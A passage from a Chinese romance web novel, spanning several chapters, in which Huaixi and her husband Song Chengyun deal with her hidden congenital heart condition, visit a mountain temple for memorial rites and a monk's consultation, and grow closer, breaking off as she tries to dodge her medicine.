好不容易等到门开,公子从屋内出来后,吩咐她晚些再进去,又交待让她备好汤婆子和红糖姜水,照顾好姑娘。 小艾忙活了一通,才等到姑娘在里头有了动静。 担心了一夜,在走到里间,掀开帷幔,看到昨夜隔在中间的那床鸳鸯被褥被踢到床尾,而姑娘睡在公子的被褥里,小艾这才松了一口气- 不知是不是尝到甜头,夜里睡觉时,怀夕不再在床榻中间摆上那床鸳鸯床榻。 宋承云熄完灯上床时显然也注意到了,放下帷帐时手顿了一下,之后神情平静,拉开被褥躺了进去, 他才一躺好,身旁的女子就往前凑近些许。 “捂肚子。”怀夕转过身,屋内安静,她下意识地也压着声音,显得声音软软的。 哥哥的手捂肚子比汤婆子还舒服,不像汤婆子那般重,也不会变凉。 漆黑里,宋承云的眼眸颤了颤,而后,从被褥里将手伸出来,任由怀夕拉进她的被褥里- 今日是小年,宋承云休沐。 庭院里的雪一早就被扫到两旁,地面干干净净。 刘婆子家乡过小年有送灶王爷升天的传统,祭祀会呈上一种灶糖。 厨房里有现成的材料,刘婆子见怀夕听得兴致勃勃,索性说做一些给她尝一下。 拨糖是个体力活,翡翠和琥珀两人帮刘婆子抻着一个糖膏头,用力地拉着。 拨糖中途,松毫来传话。 怀夕本想再看会,无奈松毫传完话后便一直等在一旁。 松毫是个知进退的,若是没什么急事,他不会在这里干等着,此时站在这里等着,明显有催人的意思。 待怀夕又看了他一眼,终于走开去洗手,松毫这才安心走到厨房外等着。 跟着松毫出了院子,见松毫过书房而不进,直接拐到厅堂上,怀夕有些惊讶。 原来是有客来? 真是,松毫为何不直说? 松毫只领到门口,便摆手说道:“夫人请进。” 怀夕皱了皱眉,刚想说什么,就听到里面一阵笑声,她只好先提步走进去。 原来是哥哥之前郊祀受伤上门替他诊治的李太医。 李太医上过几次门,怀夕印象很深,对他治好哥哥一直心存感激,见到他,立刻走上前蹲了个礼。 李太医笑着摆手,“夫人不必多礼。” 他目光滑过怀夕脸上,见她面色红润,笑着抚了抚斑白的胡子。 上次见面时,眼前这位娇俏女子还是宋编修的妹妹,如今却是他的夫人。 李太医心里颇有些感慨,不过也知道言多必失,并未多说什么。 总之,两人站在一块,倒是赏心悦目。 同怀夕寒暄几句后,李太医便向怀夕伸了伸手,请她坐到旁侧的椅子。 怀夕愣了愣,下意识地转头看宋承云。 宋承云朝她点了点头,从她身后往前站了一步,对李太医拱了拱手,“那就麻烦李太医了。” 李太医摇了摇头,“宋编修客气了。”而后从一旁的医盒里拿出脉诊放到桌上,自己先坐了下来。 怀夕不明所以,被宋承云牵到桌子的另一侧,被他轻轻按着坐下来。 甫一坐下,就听到李太医说:“右手。” 怀夕把右手放到脉诊上。 陶瓷脉诊冰凉,冰得怀夕手指颤了颤。 李太医换上严肃的神采,三只手指搭在寸口上,搭了一小会,便问道:“上次是什么时候疼?” 啊? 什么疼? 是说肚子疼吗?怀夕下意识抬头去寻宋承云的眼。 宋承云看了她一眼,而后对李太医说道:“大概八日前。” 说完后,他又转头跟怀夕确认,“这几日心口还有疼过吗?” 怀夕愣了愣,摇头。 哥哥怎么知道她前几日心口疼过? 前几日疼的时候,心口撕裂般地痛,小艾见她不舒服,立刻就去请慈安堂的大夫上门了。可大夫到的时候,她已经不痛了。 大夫把了脉,最后也说不上个所以然。 怀夕也不太在意,她自小就有心口痛的毛病,每年痛个一两次是常事,只是这次尤其痛些。 慈安堂的大夫最后只说天气严寒,让她多保暖,想开几帖驱寒的药时,又被怀夕制止。 小的时候娘亲带她寻过许多有名的大夫,为了娘亲能放心,她喝了几年的药。 她不喜欢苦味,尤其讨厌吃药。 好在后来大一些,只偶尔痛上一次,她刻意瞒着,白氏便只以为她的毛病随着年岁增长自然而然好了,这事便撂下了。 李太医又让她换了左手,搭了好一会脉,皱了皱眉,“发作时是闷痛还是刺痛?” “刺痛。” “一次痛多久?” “一般不到一刻,上次久一些,大概是两刻钟。” 怀夕说的认真,没注意到一旁的宋承云听完皱了皱眉。 李太医把手收回来,“隔多久发作一次?” “嗯…”怀夕抬眼瞥了瞥宋承云一眼,咬了咬唇,“我也不清楚,偶尔…” 话未说完,就听到头顶传来一声沉郁的声音。 “据实说。” “……” 怀夕心虚地吞了吞口水,“以前一年偶尔一两次,今年多一些,可能有三四次了。” 上次被宋承林带到金湖,连发了几日烧,中间隐约痛过两次,回金陵后又痛了一次,然后便前几日了。 听了怀夕说的时间间隔,李太医又探了探她的脉,沉思一阵后,才说道:“夫人的心疾应是先天不全的缘故。” “夫人还小,有几味药我还要回去斟酌一下,晚间我再遣人将药方送来。” 怀夕点了头,向李太医道了谢,也跟着站了起来。 宋承云向李太医拱了拱手,“那便多谢李太医。” 李太医摆手,与宋承云对视了一眼。 “我送李太医出府。”宋承云说道。 李太医并未推辞。 怀夕跟着往外走,只是还未踏出门外,李太医倒是先转过身,“外面天寒,夫人留步。” 怀夕欠了欠身,“雪地路滑,李太医慢走。” 待他们走远了些,怀夕便转道进了书房。 她坐在外间哥哥的座上,碰一碰砚台,又摸了摸毛笔,无端有些惴惴不安。 宋承云很快就返了回来。 怀夕起身,想去接他身上刚脱下的斗篷。 宋承云没给她,甚至没看她,自己放到门侧的挂台上,然后又走到里间,拿出桌上的水壶,往杯里倒了水。 只是倒水时,衣袖被攥住轻摇…… 宋承云侧过头,垂眸看着女子一步一步腾挪靠近,听她软乎乎的求饶。 “哥哥,我错了。” “为何要隐瞒?”宋承云未甩开她缠上来的手,只是脸色依然淡淡的。 正如李太医所说,这是她生来就有的毛病,怀夕并不觉得是什么大事。 反正每次挺一挺就过去了 哥哥那么忙,她不想哥哥还要分心在自己的事情上…… 但她知道若是真这样说的话,那哥哥恐怕真要甩手而去了。 “也不是很痛”怀夕支支吾吾 地解释,“这么多年了也没什么事,哥哥不必担心,许是之前连发了几次烧,身子虚了些,以致于” 怀夕绞尽脑汁,把之前那位大夫的话大致复述了一遍 宋承云当然不是责怪她,心疼还来不及。 只是他向来清楚怀夕的性子,若太快对她和颜悦色,那恐怕她下次更是无所忌讳了。 “以后不舒服要同我说。”宋承云还是沉着脸,“李太医开的药也要乖乖喝。” 怀夕使劲地点点头,“我一定乖乖喝,每日喝,喝得一滴不剩。” 那双澄澈的双眸太过干净,从中似乎看不出一丝违心,但宋承云还是不放心。 “等我回来看着你喝。” “” 第63章 第63章哥哥还是脱掉吧 原定除夕出发青元山,不知为何,除夕前两日,宋承云下值回来后,突然说要提前启程出发。 因想在除夕那日为双亲办道场,他们需要再青元山小住几日。 大多数要携带过去的东西都已经提前打点好了,但突然提前,怕难免还是有些疏漏,用过膳后,怀夕带着小艾和翡翠她们,又将要携带过去的几个箱子打开,将东西又清点了一遍。 冰天雪地,青元山别有一番风光。只是位于青元山顶峰的无极殿,平日里本就崎岖难行,加上积雪,便更是难行了。 此行怀夕他们只带了松毫和小艾出来,到了半山,马车上不去的地方,宋承云和怀夕转做步行。松毫和小艾便留在原地,等人来将两个箱子搬上去。 虽几日没下雪,但路旁积雪依旧,好在上殿的人不少,沿途留下许多脚印,积雪被踩平,路也好走了许多。 雪里路滑,宋承云一直紧紧牵着怀夕的手,每次见她有些喘气,便停下休息一会。 峰顶明显比半山冷了许多,怀夕一路走上来,看到枯枝上都结了冰霜,晶莹剔透。 景色虽好,只是实在太冷,便无无暇欣赏。 待看到无极殿几个大字,怀夕已经累得直喘,一半身躯微微卸力倚在宋承云手臂上休息。 无极殿香火一直很旺,但今日比之前几年,人多得多。尤其是入眼第一座朝拜殿,连殿门口都跪满了人。 气渐渐顺了,怀夕抬头看哥哥,发现他也正望向朝拜殿。 “今日人真多。”怀夕说道,想过去凑凑热闹,发现手还被哥哥紧紧牵着。 怀夕顺势用被牵住的手晃了晃他,“哥哥,去看看么?” 宋承云点头,往前走,手却依然没放开。 怀夕扬了扬眉,小跑着跟上他的脚步。 里头不时有捧着木碗从里头走出来的人,怀夕拦住一个,问:“这是什么?” “神水啊。了无大师难得到青元山清修,可惜我等无缘求见大师。”那人小心翼翼地捧着碗,“这是大师祈过福的神水,有病消病,没病消灾,姑娘快去排吧,晚了就没了。” 一直有人在挤进去,怀夕拉着宋承云也想进去凑热闹,却被宋承云拉了回来。 “衣服湿了。” 怀夕顺着哥哥的目光垂手,果然发现,自己斗篷下沿都湿透了。 “晚些再来吧。”宋承云说。 怀夕只好点头。 两人往北边再走了一刻钟左右,才到了厢房。 好在松毫心细,厢房提先预定了,不然若同往年一般,来了再入住厢房,恐怕真是没地方歇脚了。 怀夕和宋承云如今自然是同住一间,进了屋,有小僧人捧了一盆炭火进来,放完就出去。 小艾和松毫都不在,做什么都只能亲力亲为。 等炭火烧得旺些,宋承云才让怀夕把斗篷脱下,让她坐到炭火边取暖,自己也坐到另一侧,手上捧着她斗篷上洇湿的那处,放在炭火边上烘烤。 怀夕想接过去自己烤,宋承云摇头说不用,示意她倒盏茶喝下热热身子。 两人简单修整一会,松毫和小艾也到了。 外头冷,寺庙里不同于家中,松毫和小艾把箱子里的东西规整出来,除了衣物,大部分是道场要用的东西。 怀夕接过松毫手里那沓厚厚的佛经,把它放到桌上。 今年因了无大师在此,厢房这两日几乎住满,小艾他们送完东西后只能先到半山那边的厢房住着等他们。 眼见外面开始飘起细细的雪花,怀夕赶忙让他们抓紧下山。 虽说雪刚飘起,但这雪说大就大了。松毫和小艾被怀夕催着喝了杯热茶,便裹紧身上的衣物下山去了。 烤了会火,身子也暖了,待宋承云把剩余的东西规整好时,怀夕也把床榻收拾好了。 厢房里只给香客准备了一床薄被,好在怀夕有先见之明,这次从家中又带了一床厚被过来。 铺好后,怀夕对宋承云扬了扬下颌,眼里是得意洋洋。 宋承云回以浅笑。 又坐了一会,刚刚引他们进来的小僧人又送来两份素斋。 简简单单的菜色,一份米饭,一碟酥皮豆腐,一碟滚水菜心,一碟咸菜。 许是爬了山路,怀夕很有胃口,几乎都吃光了。 待她们吃完后,怀夕走到右边窗前,小心翼翼地打开一条缝。 一阵冰冷的风夹雪打在脸上,怀夕赶忙把窗阖上。 “还好松毫他们走得快,这雪也太大了。”怀夕用手帕拭走脸上的雪花,走回宋承云身边。 宋承云倒了一杯清茶,推到她面前,知道怀夕素来有午睡的习惯,他说:“还有些时辰,你去躺会,一会我叫你?” 怀夕却摇了摇头。 近来每日都睡得香甜,她精神好着。 怀夕抿了一口茶,“哥哥,要不去朝拜殿走走?” 她喜欢热闹,刚刚若不是斗篷湿了,她定要挤进去看看的。 看着她期待的眼神,宋承云没有拒绝,点了点头。 之后,怀夕如愿从朝拜殿里捧了一碗神水出来。 热乎的神水,从里头捧出来后已经凉透,怀夕新奇地捧到嘴边喝了一口,冷得她皱紧眉心。 但毫不影响她的兴致,她弯着眉眼,笑盈盈地把木碗捧到宋承云嘴边,“哥哥也喝,去病消灾的。” 少女头上戴着斗篷,抬头时眼睛半掩在斗篷里,宋承云只看到她白皙的下颌和笑得深深的梨涡。 怀夕看不见宋承云,嫌帽子碍事,头在帽子里蹭了蹭,将那双如琥珀清澈的眼眸露了出来。 宋承云自小读经史子集,并不太相信鬼神佛道那一套东西。 但见小姑娘兴致勃勃的模样,不忍拂了她的兴致,微垂下头,就着她的手把剩余半碗水喝完。 看着哥哥也被冻得皱了皱眉,怀夕得逞地捂嘴笑了笑。 “可惜没见到他们口中说的了无大师。”怀夕把碗放到门口的框篮里,“他们说了无大师是得道高僧,不仅能断命数,还能救白骨。” “真有这么神吗?”怀夕仰着头,笑盈盈地说道。 宋承云浅浅笑了笑,将被她拉开的斗篷帽子又戴回来,“或许吧,世间之大,无奇不有。” 了无大师能不能替人断命数,准不准,宋承云并不大在乎。 不过此行突然提前,确实是因为这位了无大师。 前几日,宋承云拜见王老太师,无意间听他闲聊起这位大师。 了无大师皈依前,是一位颇有名望的游医,王老太师的母亲在病入膏肓之际,得他相救过,后来续命几年。 之后又过了几年,王老太师回临安丁忧时,又与这位大师有过短暂的缘分。只是那时了无大师已皈依佛门。 如今了无大师已经九十有余,叫他扬名的不仅是他渊博的佛学,还有他断命数改命运的本领,但倒是鲜有人知他还有着高超的医术。 怀夕的心疾比预想的或许更严重些,李太医前几日回去后,夜里叫人送来药方时一并送来一封信。 :. 信中说怀夕之心疾,为先天之症,但凡是先天之症,靠后天药疗,甚难治愈。且发作似有增多趋势,以他多年所识所学,先天心疾不发则已,若开始频繁发作,并不是什么好的兆头。 宋承云看完信后,便将信烧了。 既是疾便能医,李太医不行,那他便寻其他人来医。 正巧听王老太师提起了无大师,宋承云才临时改了上山的时间。 回到厢房后不久,往生殿里帮忙做道场的小僧尼过来拿抄写的佛经, 又请他们过去点长明灯。 宋承云让怀夕先过去点灯,怀夕以为哥哥想休息一番,便独自跟小僧尼一同前去。 两刻钟后,道场开始前,宋承云也到了。 几名老僧人坐在莲纹蒲团上,喃喃念着佛经。 在佛经诵读声中,宋承云和怀夕跪在双亲的牌位前,深深地磕了三个响头。 在僧尼的指引下做完一整套流程后,外头的天已经黑了。 僧人们念完佛经后,行了合十礼便退下。长明灯长亮,宋承云和怀夕合手回礼后,也被小僧尼引出来。 明后日还有两场,他们需在无极峰上住上两夜。 夜黑了,小僧尼将他们引送回厢房后,叮嘱他们夜里风雪大,最好少在外面行走。 山上自然不如家中便利,在屋内小桌上吃完素斋后,怀夕和宋承云只得简单梳洗一番。 外头是风雪撞击门窗的声音,偶尔能听到房顶大片积雪掉落哐当的声音。 屋内烛台都只有一盏,坐在烛台边上看书都算吃力。 炭火也只有一盆,怀夕本就畏冷,屋内瑟瑟装入的寒风让她总觉得凉飕飕。 好在自己多带了一床被褥,简单梳洗后,怀夕褪了外袍钻进被褥里。 两层被褥相叠,勉强还算温暖。 厢房内自然也不落帷帐,小小的房间里,桌子和床的距离也不过两三步远。 怀夕见哥哥坐在桌子旁不知在想些什么,唤了他一声,“哥哥。” 宋承云转头去看她。 怀夕坐靠着床,被褥都拉到脖颈处,只露出一张白皙的小脸。 “哥哥把烛火拿过来,盖着被子看书吧。” 烛火虽亮着,可屋内仍然昏黑。 宋承云垂了垂眸,把自己握在手里的那卷书放下。 他将烛火拿到床头边上的烛台,掀开被子坐了进去。 怀夕伸手来解他身上的外袍,被宋承云躲了过去。 怀夕愣了愣,突然有些不好意思,收回去的手暗暗握了握拳,解释道:“穿着外袍不舒服,哥哥还是脱掉吧。” 宋承云也觉得自己有些反应过度,目光闪烁了一下,说:“好。” 他自己把外袍解开,放到床尾。 第64章 第64章第一次在清醒状态这样亲…… 宋承云并没有把书带来,坐下来后,他伸手掖了掖怀夕的被角。 两人虽睡在一张床上多次,但还是第一次这样并排坐在床上,盖的是同一床被褥。 怀夕手里把玩着自己的头发,“刚刚小僧尼为何说明日辰时来等我们?” 道场还要做两日,但前几年皆是巳时才开始,今年怎地早了许多。 “嗯。”宋承云淡淡应道,“先去见一个人。” “谁?”怀夕歪头看他。 “了无大师。”宋承云看着怀夕的眼,并未卖关子。 怀夕有些惊讶:“了无大师?” “嗯。” 算是意外之喜,下午宋承云递上引荐信时,心里也是有些惴惴不安的。王老太师虽写了信替他引荐,但也说了,了无大师不一定买他的账。 “睡吧,明日早些起来。”宋承云虚碰了碰她的肩,待怀夕身躯微微向前时替她把靠枕放下。 怀夕顺势钻进被褥里。 “熄灯?” 怀夕点了点头,厢房里就一盏灯,不熄恐怕也燃不了多久。 宋承云微微侧身吹灭了灯。 几缕风趁他起身偷偷钻进被褥里,怀夕在被褥里打了个冷颤,紧接着侧身缩成一团。 虽有些凉意,但这样的温度对宋承云来说,还算舒适。 但身旁的女子显然不是。 趋暖的本能让怀夕不自觉往宋承云的方向靠,她半个头都缩进被褥里,往前挪到头顶到宋承云的手臂。 黑暗里,两人都僵了僵。 怀夕小心翼翼地往后退 自从在家里把中间那床床褥拿走后,怀夕睡着时不免会碰到宋承云,大多数她是睡着的,所以她也不太清楚。 但偶尔也有她入睡没那么快的时候,睡不着她总习惯翻身,久了她也注意到,有时不小心碰到哥哥,能感觉哥哥有些僵硬。 久而久之,她也有些尴尬。 可被褥撤走后又放回来,总觉得有些欲盖弥彰,所以她有意识的时候便尽量也小心一些。 “冷?” 怀夕听到哥哥刻意压低的清凌凌的音,在被褥里无声地点了点头。 屋内昏暗,怀夕也不知道哥哥能不能看到自己的回应,刚想开口,哥哥的手已经隔着被子,搭在她的腰间。 像是搂抱的姿势。 怀夕眼角跳了跳,整个人往被窝里缩了缩。 可离得近,一缩脚便顶上他的。 怀夕立马又收回。 “睡吧,这样暖和些。” 怀夕听见哥哥平静地说着。 被虚搂着相向而睡,确实是暖和些 但,这样可以吗? “睡吧。”宋承云见她一直僵着不动,又睡了一句。 再不睡反而显得自己有些 除了隔着被褥压在自己身上的那只手,她与哥哥之间还是有一段不短的距离的。 虽然这距离也不长 算了,又不是什么大事。 ——她是哥哥的夫人,这有什么好在意的。 被夫人夫人地叫着,她慢慢也习惯这个新的身份了。 有时甚至觉得,当哥哥的妻子也不错。 脑海里冒出这个想法时,怀夕吓了一跳。 掩耳盗铃一般,她摇了摇头,想把这个想法驱散,而后紧紧闭上眼睛。 虽入睡时有些心绪不宁,但怀夕实在心大,躺着躺着,还是睡着了。 宋承云怎么可能睡得着。 他的手虚虚地放在怀夕的腰间上,天知道,他刚刚用了多大的气力,才能当着妹妹的面将手伸出去。 手已经酸到没有感觉了,宋承云还是没有收回。 果然如往常一样,那团小小的身姿睡着睡着,伸手环住他的腰间,还在他胸前蹭了蹭。 宋承云将那只酸得失去知觉的手收回,伸到被褥里,好一会,等它暖透了,他又伸出去,放到她的后腰上,微微用力。 毫无缝隙的贴近。 心里有一股微妙的感觉,想搂紧,又不敢搂紧。 满心的眷恋,想她知道,又怕她知道。 而最后,满腔的心意,只化成她眉心浅浅的一抹轻触- 怀夕被轻轻摇醒的时候,借着淡青的晨光,第一眼看到的,是哥哥有些凌乱的胸口衣襟。 不止凌乱,甚至有些皱巴巴。 她自己倒还是昨晚入睡前的姿势,只是哥哥没有再把手搭在她身上。 她们之间,仍是一段不远不近的距离。 “起来?” 宋承云把她脸上的头发拨弄开,轻轻问道。 许是刚醒,他的声音也有几分低哑。 怀夕很困,眼睛睁开又闭上,软绵绵地应了声。 若是平时,宋承云定不忍心拉着她起床,但今日不同。见她眼眸惺忪,他把手伸到她脖颈下,轻轻把她环抱起来。 怀夕微微仰了仰头,还是睁开了眼。 宋承云先下床,穿好衣物后,开门走了出去。 很快,不知从哪里提来一壶热水。 待怀夕穿好衣物后,他朝她递来一条刚从热水里烫过的毛巾。 怀夕接过来,洗了脸,又递回给他。 小艾不在,厢房内也实在简陋,怀夕自己不会簪发,只好自己把部分头发偏分为两个辫子,用簪子扭转固定。 只是还有一部分头发垂着,看着倒像还未嫁人时梳的发式。 怀夕透过看了看宋承云,有些犹豫。 坐在桌前看书的宋承云似有所感,回望过去。 他低笑,“这样也很好。” 怀夕脸上慢慢露出笑容,站起身来。 宋承云早已穿戴好,见她站起,将她的斗篷拿过来,替她披上。 怀夕微仰着头,任宋承云替她系着斗篷的系带。 系完系带,宋承云又把斗篷帽子翻上来, 这才去开门。 小僧尼刚到,还未敲门,门就开了。 “烦请师傅带路。”宋承云对着小僧尼点头说道。 那小僧尼看着虽小,说话做事却颇沉稳,点了点头,说:“施主请。” 了无大师清修的地方离厢房这处还有段距离,是怀夕未曾踏足的方向。 山路左拐右拐好几道弯,怀夕这才发现,原来往深里走,这山里还有一座佛殿。 小僧尼将他们引到佛殿旁的一处禅房,敲了敲门,待里头应了声,他又双掌合十,对他们说道:“大师已在里头等候,施主自行进去吧。” 宋承云道了谢。 怀夕跟着宋承云的脚步进去,原以为屋内会暖和些,但走进去后,发现里头竟然没有炭盆。 好在门窗四闭,没了寒风霜雪,冻得有些僵硬的身子也能缓缓开始回温。 与他们所住的厢房不同,这屋的陈设更为简单,里头只有一张炕桌,一位白胡老人坐在炕桌一侧,静静地看着他们走近,眼角是慈祥的细纹。 雪白的袈裟让白胡老人显得有些仙风道骨,他的神采格外柔和,见他们行礼,挥手清声道:“坐吧。” 屋里只有炕桌上另一边的位置,怀夕往旁边看了一眼,发现边上有张小绣凳。 可能是这位大师与想象中不同,看着十分慈祥的样子,怀夕倒也不是很拘束,自己搬来小绣凳,让哥哥坐到炕桌另一旁。 了无大师看着怀夕的举动,笑了笑,并未多说什么。 宋承云正欲说明来意,没想到了无大师先开了口。 “姑娘受心疾所苦?” 怀夕瞳孔微微长大,下意识转头看宋承云。 宋承云只是点了点头,对了无大师未卜先知好像也没那么意外,示意她回答。 怀夕回道:“是。” “先天之疾,非凡力所能回转。”这话了无大师却是对着宋承云说的。 说完后,他又转头对怀夕说道:“不过,姑娘坦率明朗,倒也不是短寿之相。” 给了一巴掌,又喂了一颗甜枣。 言外之意,倒是同宋承云讲明,治不好,但也死不了。 怀夕并不意外,听他说完后对宋承云扬了扬眉,表情像是在生动说着,“看吧,我就说没事。” 许是许久未看到在他面前这般无拘无束的人,了无大师罕见地主动说道:“今日与姑娘有缘,就帮姑娘算个姻缘吧?” 怀夕一愣,她昨日可是听那些香客们说:了无大师只断有缘人的命数,能得他改命之人,更是凤毛麟角。 送上门的好事,怎么能拒绝呢,怀夕眼角弯了弯,“那就多谢大师了。” 了无大师掐了掐指:“姑娘的正缘倒是出现了,不过,姻缘未到呢,最快应是明年” 闻言,宋承云指尖微微一顿,怀夕却忍不住笑道:“大师,我已经成亲了。” 了无大师笑着摇了摇头,他断别人的命数从未出过差错,料想小姑娘性子活泛,明明还是未婚妆扮,怎么会是成了亲呢。 怀夕一只手握拳抵在嘴边笑,一边指了指宋承云,“这是我夫君。” 怀夕觉得好玩,这了无大师不会只是空有其名吧。 但了无大师听完,神色才肃了肃,看了眼宋承云,见他没有否认,很快地又掐了掐指。 掐完后,他脸色不似刚刚那么柔和,明显有几分惊讶。 这位姑娘,天命姻缘并不是这位公子 了无大师灵台突然一阵噬痛,他知道,是窥探天机太甚的缘故。 恐怕,这两位,都不是什么普通人。 但这位姑娘原定的姻缘乱了,那他刚刚说的那些,恐怕也不作数了。 了无大师摇了摇头,“天机不可说,今日是贫僧多言了。” 请他们走前,了无大师还是提笔写了一张方子给他们,“根治甚难,但能稍解疼痛。” 宋承云拱手深谢,怀夕也收起玩笑,真心地致了谢。 临别前,了无大师看着宋承云,意有所指地说道:“万物自有定数,唯顺应之,方得安宁。”之后,他便阖上眼,不再看他们- 从禅房里走出来,天色不复刚刚来时那般昏暗,清亮了几分,稀疏的雪花在凛冽寒风吹拂上摇摆落下。 怀夕拿着药方,觉得已经是极大的收获,至少能让哥哥安心些。 她攥了攥宋承云的衣袖,声音柔软,“哥哥,我真的没事。” 怀夕知道哥哥还在担心。 宋承云承认,听到了无大师说怀夕不是短命之相,心里是有松了一口气。 不管他此前信不信他是否真能断人命数,至少此刻他愿意相信。 但想到怀夕此后要常常忍受那种疼痛,他恨不得能以身代之。 她宁愿她娇气一些,如平日那般,一点苦一点痛都会扁着嘴在他面前埋怨两句。 偏偏她真正痛,真正需要吃药的时候,却反而要来安慰他,甚至之前,还要隐瞒他。 宋承云垂眸看着眼前的怀夕,心头涌上来的愧疚,让他忽然不敢对上那双清澈的眼眸。 怀夕敏锐地察觉到他的情绪,攥着他袖子的手转而握上他温热的手,语气认真如同堵誓一般,“以后每次痛,我都不会隐瞒哥哥。” “哥哥监督我喝药,好吗?” 宋承云回望她,薄唇微抿,似要说什么,但对着女子清亮剔透的眼眸,最后只是点了点头。 见哥哥点头,怀夕微微扬起唇角,“但哥哥要给我买糖?” “好。” 怀夕嘴角又扬起几分,“要春芳斋的。” “嗯。” “今年要陪我去逛花灯?” “嗯。” “不准再罚我抄道德经?” “嗯。” 察觉她的指尖有些微凉,宋承云将她整个手反握到自己掌心,全部包裹住。 两人身影相叠,慢慢走在雪白的小幽径上,女子的银铃笑声不时响彻。 怀夕说了许多许多,每一件哥哥都答应下来,她觉得自己也应该有所回报。 于是,走到半道,怀夕突然拉住宋承云,她踮了踮脚,把自己的斗篷微微往后拉了拉,而后凑到他耳边,轻声说道:“我会长长久久陪着哥哥的。” 宋承云显见地愣住了。 他定定地看着怀夕,第一次有些掩饰不住眸里的情绪。 怀夕说完后,微微推开他,只是眼眸还定定看着宋承云。 她缓慢地眨了下眼,眼神里似有期待。 但哥哥依旧的眼眸如同往常一样,如揉碎的云雾,叫人看不见底,反而越看越有些晕眩。 她也不知道自己在期待什么。 在晕眩之前,她收回目光,踮起的脚尖缓缓落下。 飘渺的雪花泛着细碎的晶光,轻柔掉落在半垂的青丝上 脚尖落下之前,被握住的手忽地被松开。 冷风灌入手心,仿佛也吹到心里,怀夕的心似乎被凉风拂过,忽地有些说不上来的失落。 只是很快,那股失落化为无措,有股热意从脚心一路窜到脸颊。 哥哥放开她的手心,转而搭在她手腕上,而后轻轻一拉,之后,她便不受控地,整个人撞进哥哥怀里。 为了站稳,她下意识地抓住哥哥腰侧的衣襟。 怀夕整个人都愣了。 她清晰地感受到,哥哥的手落在她的腰间,而后收紧 这是第一次在清醒状态,她与哥哥这样的亲密。 不知道是因哥哥搂得太紧,还是她自己太紧张的缘故。 心跳仿佛要擂成鼓,恍惚间怀夕以为是心疾又要发作了,可是迟迟未有疼痛,只是让她有些喘不上气。 “我也是。”哥哥的话响过之后便一直盘旋在她耳边。 攥成拳的手掌松开又握紧,怀夕不知道自己犹豫了多久。 最后,她顺从自己的内心,手掌缓缓松开,脊背由僵硬转向松软。 而后,回抱回去。 第65章 第65章他们之间,似乎有点不一…… 从青元山回来,初四那日,宋承云带着怀夕去了一趟王府给 王老太师一家拜年,用过晚膳才回来。 从除夕前便离开家,直到初五,怀夕总算能睡到自然醒。 来了金陵后一直都是刘婆子在他们家做膳食的,但逢年过节,怀夕从不留她,因此慢慢地也形成一种习惯,每逢过节,都是她和几个丫鬟一起下厨的。 当然,每次刘婆子基本都会替她们准备好大部分简单易处理的食材。比如离过年还有十来日,刘婆子已经亲自熏了好些腊肉,又腌了许多爽口小菜。 因此,怀夕他们每顿再多炒几道新鲜蔬食也就差不多了。 今日算是这趟年在家里过的第一天,但显然,怀夕是没有想参与准备今天的餐食的。直到巳时初,她才慢慢转醒。 醒来时,发现自己又滚到床沿边的位置,怀夕揉了揉脸,自然地喊了一声“哥哥”。 喊完之后,很快,宋承云从外间走进来。 怀夕已经习惯,休沐日无论她睡得多晚,哥哥总会在屋里等她起身,再一起去偏厅用膳。 一开始她也有些不习惯,也尝试想早起,但后来发现她再怎么早,也早不过哥哥。 况且每日她想起来,迷迷糊糊时,总能听到哥哥让她再睡会。 索性她就顺其自然了,每每都睡到自然醒。 宋承云走过来,把帷帐收起后,才坐到床边。 早膳已经热了两次了,他虽无所谓,却担心怀夕再不起来吃点东西,对胃不好。 怀夕叫了人,却又闭上眼,坐在床边的人静静地看了她一会,伸出了手。 怀夕本就是故意逗宋承云,听到动静,睁眼的同时,将他伸过来的手握住,拉到被褥里。 “暖吗?”怀夕弯着眸问他。 “嗯。”宋承云轻笑,微微俯身,被她握住的手反握住她,另一只手撘到她的肩,轻轻把她揽起来。 怀夕顺势便坐起来。 听到屋里有了动静,很快,小艾和琥珀就捧着水盆进来了。 梳洗好后,怀夕从内间走出来,看一眼坐在罗汉床边看书的宋承云,浅笑道:“哥哥,走吧。” “嗯。” 从除夕到元宵,俞楚国的官员有着全年最长的休沐,当然,每个部门每日都留有人值守。 宋承云在初七和初十也回翰林院值守了两日,但其余日子均陪着怀夕,除了偶尔有客至,其他时间,与怀夕几乎算是形影不离。 日子平静且舒适,有哥哥的陪伴,怀夕的愉悦比平日更甚几番。 当然,也有不那么顺心的时刻,比如从初十开始,金陵连下了几日大雪,怀夕不禁担心元宵花灯节是否如期举行。 她记得有一年就因大雪封道,花灯节迟了两日才办,虽说迟几天也没什么,但哥哥过完十五便要回去当值了,若是忙起来,就不一定能陪她去逛灯节了。 再比如说,如今她日日都要喝药。 从青元山回来后,宋承云亲自把了无大师的药方送到李太医处,请他看看是否与他开的药方相斥。 听闻是了无大师开的药方,李太医有些惊讶,得了宋承云的允许,抄录了一份,翻着医书仔细斟酌。 之后,李太医又改了他原先给怀夕开的方子,从里头加加减减几味药,说上次诊脉时发现怀夕有些体寒,正好在冬日好好养养阴。但也无须耽误了无大师开的药方,他的药方主要是温补的,两厢药方不相斥,让怀夕放心调养身子。 怀夕没有什么放不放心的,只知道哥哥从李太医那里回来后,第二日开始,她每日早晚要喝两碗药 真是有苦说不出。 用过晚膳后,松毫上前来,在宋承云耳边耳语了几句,之后宋承云让怀夕先回屋,说他要去书房一趟。 怀夕点了点头,待宋承云走后,她便带着小艾回屋梳洗。 梳洗后,坐在梳妆台前绞发时,又闻到一阵熟悉的气味,怀夕忍不住皱了皱眉。 黑乎乎的汤药还冒着热气,琥珀把药放在外间,走进来拿起台上另一块干净的布,先帮她绞起还有些湿润的发丝。 怀夕见绞得差不多了,挥了挥手,“好了,屋里暖,一会烘一烘就干了。” 小艾和琥珀便收回手。 外头翡翠拿了一株刚摘下的红梅,把窗边那株有些掉瓣的梅枝换走。 换掉的梅枝还拿在手上,见怀夕从屋里走出来,翡翠看一眼桌上稀疏冒着烟气的汤药,提醒道:“药快凉了,夫人快些喝药罢。” 琥珀和小艾正好走出来,手里还拿着收拾出来要拿去清洗的布子。 怀夕应了一声:“好。”然后便坐到桌前,作势捧起了药碗。 琥珀把小艾手里的东西也接了过去,笑着说:“这些先给我,一会你把夫人的药碗一齐拿出来清洗罢。” 小艾正欲应下,就听到怀夕说:“我记得刘婆子做的腌梅子还有一些,小艾先去帮我拿一盏吧。” “现在?”小艾有些惊讶,都夜里还吃腌梅子么? 怀夕假装抿着药,见状正好将碗移开些,应道:“现在。” 小艾仍有些犹豫,“腌梅子酸得很,伤胃,公子在准也不让姑娘吃。” 